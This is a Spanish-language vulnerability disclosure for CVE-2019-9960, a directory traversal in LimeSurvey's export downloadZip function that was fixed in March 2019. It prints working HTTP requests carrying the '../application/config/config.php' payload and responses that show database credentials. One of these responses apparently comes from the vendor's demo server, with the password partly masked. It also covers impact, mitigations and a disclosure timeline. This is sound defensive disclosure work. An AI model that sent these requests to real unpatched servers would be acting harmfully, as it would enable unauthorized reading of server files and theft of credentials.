/ 7 min de lectura

CVE-2019-9960: descarga arbitraria de archivos en LimeSurvey

El logo de LimeSurvey

Introducción

LimeSurvey es una aplicación open source escrita en PHP, pensada específicamente para hacer encuestas online. Es muy útil para usuarios sin conocimientos de programación, porque les permite armar un entorno para juntar respuestas a sus encuestas.

Hace un tiempo encontramos y reportamos una vulnerabilidad de descarga arbitraria de archivos en LimeSurvey, registrada como CVE-2019-9960. Esta vulnerabilidad le permite a un Administrador descargar archivos internos del servidor mediante un Directory Traversal. Afecta a las versiones <= 3.15.9+190214.

A la fecha, LimeSurvey tiene un total de 2.192 estrellas en GitHub.

Encontrando los bugs

Cuando un usuario exporta la estructura de una encuesta a formato *.lss, se genera un modal con el botón “Download file”.

Modal de exportación de LimeSurvey Interfaz de exportación de LimeSurvey, con el modal que tiene la función de descarga

Al ejecutarse, genera una request GET a la siguiente URL:

/index.php/admin/export/sa/downloadZip/sZip/pb46rb245xhdv8aqtpebzpbpaw5pb8

LimeSurvey usa el formato Pretty URL, con el que se llaman distintas acciones en los distintos controllers que componen la aplicación. La URL anterior se estructura así.

Estructura de URL de LimeSurvey Desglose de la estructura de URL de LimeSurvey, mostrando el mapeo de controller y parámetros

Por un lado, admin/export hace referencia al controller:

./application/controllers/admin/export.php.sa

Esto se corresponde con el parámetro GET que recibe el nombre del método a ejecutar, en este caso, downloadZip.

Por último, sZip es el parámetro GET que recibe el nombre del archivo a descargar:

pb46rb245xhdv8aqtpebzpbpaw5pb8.

Una vez que el usuario hace la request HTTP, se llama al controller ./application/controllers/admin/export.php en la función downloadZip().

Esta función recibe como argumento el valor del parámetro “sZip”. Como se puede ver en el código, el parámetro no está correctamente sanitizado contra un Directory Traversal, así que es posible acceder a cualquier tipo de archivo interno del servidor.

Descarga del archivo

A continuación se muestra cómo es posible descargar el archivo de configuración de LimeSurvey ubicado en ./application/config/config.php.

Descarga de archivo de LimeSurvey Demostración de la descarga arbitraria de archivos mediante directory traversal


Request HTTP:

GET /LimeSurvey-3.15.9-190214/index.php/admin/export/sa/downloadZip/?sZip=../application/config/config.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/LimeSurvey-3.15.9-190214/index.php/admin/survey/sa/listsurveys
Cookie: shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; PHPSESSID=rsh6r3jcnovp0dgs0i4dak5op3; YII_CSRF_TOKEN=WjNuR09MSWZ3Y0hoanV6M1Y1Y2wwQzJIaThZZmJMbEEK4nio9riEgrzfLfI_4GxA3fGccJytOU75JHXW7Vuo-A%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1

Response HTTP:

Archivo de configuración de LimeSurvey El archivo de configuración de LimeSurvey descargado con éxito, exponiendo credenciales de la base de datos

HTTP/1.1 200 OK
Date: Tue, 26 Mar 2019 06:04:55 GMT
Server: Apache/2.4.25 (Ubuntu)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Disposition: attachment; filename=surveys_archive.zip
Last-Modified: Tue, 26 Mar 2019 06:04:55 GMT
Content-Length: 2729
Connection: close
Content-Type: application/force-download; charset=UTF-8
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=limesurvey;password=limesurvey;dbname=limesurvey;',
'emulatePrepare' => true,
'username' => 'limesurvey',
'password' => 'limesurvey',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),
'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

Explotación en versiones anteriores

En versiones anteriores de LimeSurvey, por ejemplo en la 3.15.8, el vector de explotación cambia así. Créditos al equipo de Volt AI por la generación del payload.


Request HTTP:

GET /index.php?sZip=../application/config/config.php&r=admin/export/sa/downloadZip HTTP/1.1
Host: demo.limesurvey.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://demo.limesurvey.org/index.php?r=admin/survey/sa/listsurveys/active/Y
Accept-Encoding: gzip, deflate
Accept-Language: es-419,es;q=0.9
Cookie: PHPSESSID=1271dn8v8kaum3i1esap4huti2; YII_CSRF_TOKEN=Y090aExYVEY1MllyZX5xREl1RE9qdDZFX2NCam13ZG0XxMSEeBdhJpz-XHL05irg2AUNbmc1Uccgag4YR_bkrQ%3D%3D

Response HTTP:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Mar 2019 05:04:15 GMT
Content-Type: application/force-download; charset=UTF-8
Connection: close
Content-Disposition: attachment; filename=surveys_archive.zip
Expires: 0
Last-Modified: Fri, 08 Mar 2019 05:04:15 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Security-Policy: worker-src www.limesurvey.org 'self'; connect-src 'self'; default-src 'self' www.limesurvey.org fonts.gstatic.com; font-src 'self' fonts.gstatic.com netdna.bootstrapcdn.com github.com; form-action 'self'; frame-src www.limesurvey.org 'self' www.limesurvey.com; img-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' maps.googleapis.com ajax.googleapis.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; frame-ancestors 'self';
Content-Length: 3115
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'mysql:host=localhost;port=3306;dbname=c1***********;',
'emulatePrepare' => true,
'username' => 'c1**********',
'password' => 'mshj34782bdbnv783***************************',
'charset' => 'utf8mb4',
'tablePrefix' => 'lime_',
),
// Uncomment the following line if you need table-based sessions
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),
'urlManager' => array(
'urlFormat' => 'get',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
"demoMode" => true,
"demoModePrefill" => true,
"defaultuser" => 'demo',
"defaultpass" => 'demo',
'force_ssl'=>'on',
'usePluginWhitelist' => true,
'pluginCoreList' => [
'AuditLog',
'ExportR',
'ExportSTATAxml',
'extendedStartPage',
'oldUrlCompat',
'Authdb',
]
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

Impacto y mitigación

Esta vulnerabilidad le permite a un atacante autenticado con privilegios de administrador:

  1. Descargar archivos de configuración con credenciales de la base de datos
  2. Acceder a archivos del sistema mediante directory traversal
  3. Obtener información sensible sobre la infraestructura del servidor
  4. Comprometer la confidencialidad de los datos internos del sistema

Recomendaciones de seguridad

  • Actualizar LimeSurvey a una versión superior a 3.15.9+190214
  • Validar y sanitizar todos los inputs de usuario antes de procesarlos
  • Implementar controles de acceso estrictos para las funciones administrativas
  • Configurar permisos de archivo correctos en el servidor
  • Monitorear el acceso a archivos críticos del sistema

Timeline

  • 2019-03-08: vulnerabilidad reportada al vendor
  • 2019-03-08: el vendor confirmó el reporte
  • 2019-03-14: fix publicado

Referencias